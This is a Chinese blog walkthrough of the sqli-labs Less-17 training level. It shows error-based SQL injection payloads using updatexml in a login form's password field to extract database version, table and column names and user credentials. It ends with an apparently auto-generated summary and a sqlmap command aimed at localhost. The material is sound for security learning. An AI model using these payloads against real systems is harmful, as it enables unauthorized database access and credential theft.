sqli-labs(17)

本文介绍了在sqli-labs的Less-17关卡中遇到的POST注入问题,重点在于基于错误的更新查询。作者通过尝试找到注入点在password字段,并尝试爆破表名和列名,虽然遇到困难,但确认了思路的正确性,准备后续解决此问题。

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

各种尝试一番,发现注入点在password处

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,version(),0x5c),1))#submit=submit

在这里插入图片描述

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,version(),0x5c),1))#submit=submit

在这里插入图片描述
套路都差不多了,开始爆表名

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select table_name from information_schema.tables where table_schema='security' limit 4,1),0x5c),1))#submit=submit

在这里插入图片描述
爆破列名

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select column_name from information_schema.columns where table_schema='security' limit 6,1),0x5c),1))#submit=submit

在这里插入图片描述

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select column_name from information_schema.columns where table_schema='security' limit 7,1),0x5c),1))#submit=submit

在这里插入图片描述
把字段名爆了

uname=admin&passwd=1' and (updatexml(1,concat(0x5c,(select group_concat(username,password) from security.users ),0x5c),1))#submit=submit

在这里插入图片描述
思路没有错呀,这个肯定还有坑
在这里插入图片描述
语句都是正确的,搞的我一度怀疑人生,容我稍后来踩坑

### sqli-labs17关解题步骤详解 sqli-labs17关的漏洞利用方式主要围绕**基于错误的注入**和**堆叠注入**展开。本关卡的注入点出现在登录表单中,攻击者可以通过构造恶意输入来绕过验证或获取数据库信息。 #### 1. 判断注入类型 第17关是**POST型注入**,注入点位于登录框的用户名或密码输入处。由于页面不会直接显示数据库错误信息,因此需要通过**报错注入**或**时间盲注**来判断是否存在注入漏洞。 例如,输入用户名 `' or 1=1 #`,如果系统返回错误信息或行为异常,则说明可能存在注入点。若无明显反馈,则需尝试报错注入语句,如: ```sql ' or updatexml(1,concat(0x7e,database(),0x7e),1) # ``` 该语句会触发 `XPATH` 错误,从而将数据库名显示在错误信息中 [^3]。 #### 2. 获取数据库信息 在确认存在报错注入后,可以继续使用类似语句获取当前数据库名、用户名、版本等信息: ```sql ' or updatexml(1,concat(0x7e,user(),0x7e),1) # ' or updatexml(1,concat(0x7e,@@version,0x7e),1) # ``` 这些语句将分别返回当前数据库用户和 MySQL 版本信息 [^3]。 #### 3. 注入获取表名和列名 在获取数据库名后,可以利用 `information_schema` 获取当前数据库中的表名和列名。例如: ```sql ' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1) # ``` 上述语句将返回第一个表名,依次修改 `limit` 的偏移量可获取所有表名。 获取表名后,再通过 `columns` 表获取列名: ```sql ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),1) # ``` #### 4. 获取敏感数据 在获取表名和列名后,可以构造语句获取具体字段的数据,例如用户名和密码: ```sql ' or updatexml(1,concat(0x7e,(select concat(username,0x3a,password) from users limit 0,1),0x7e),1) # ``` 此语句将返回第一条记录的用户名和密码,通过调整 `limit` 的偏移量可以遍历整个表 [^3]。 #### 5. 使用 SQLMap 自动化注入 若手动注入过程较为繁琐,也可以使用 SQLMap 自动化工具进行注入。例如: ```bash sqlmap.py -u "http://localhost/sqli-labs/Less-17/" --data="uname=admin&passwd=admin&submit=Submit" --method=POST --risk=3 --level=5 --dbs ``` 该命令将自动检测注入点,并列出数据库信息。进一步可使用 `--tables` 和 `--dump` 获取表结构和数据 [^2]。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值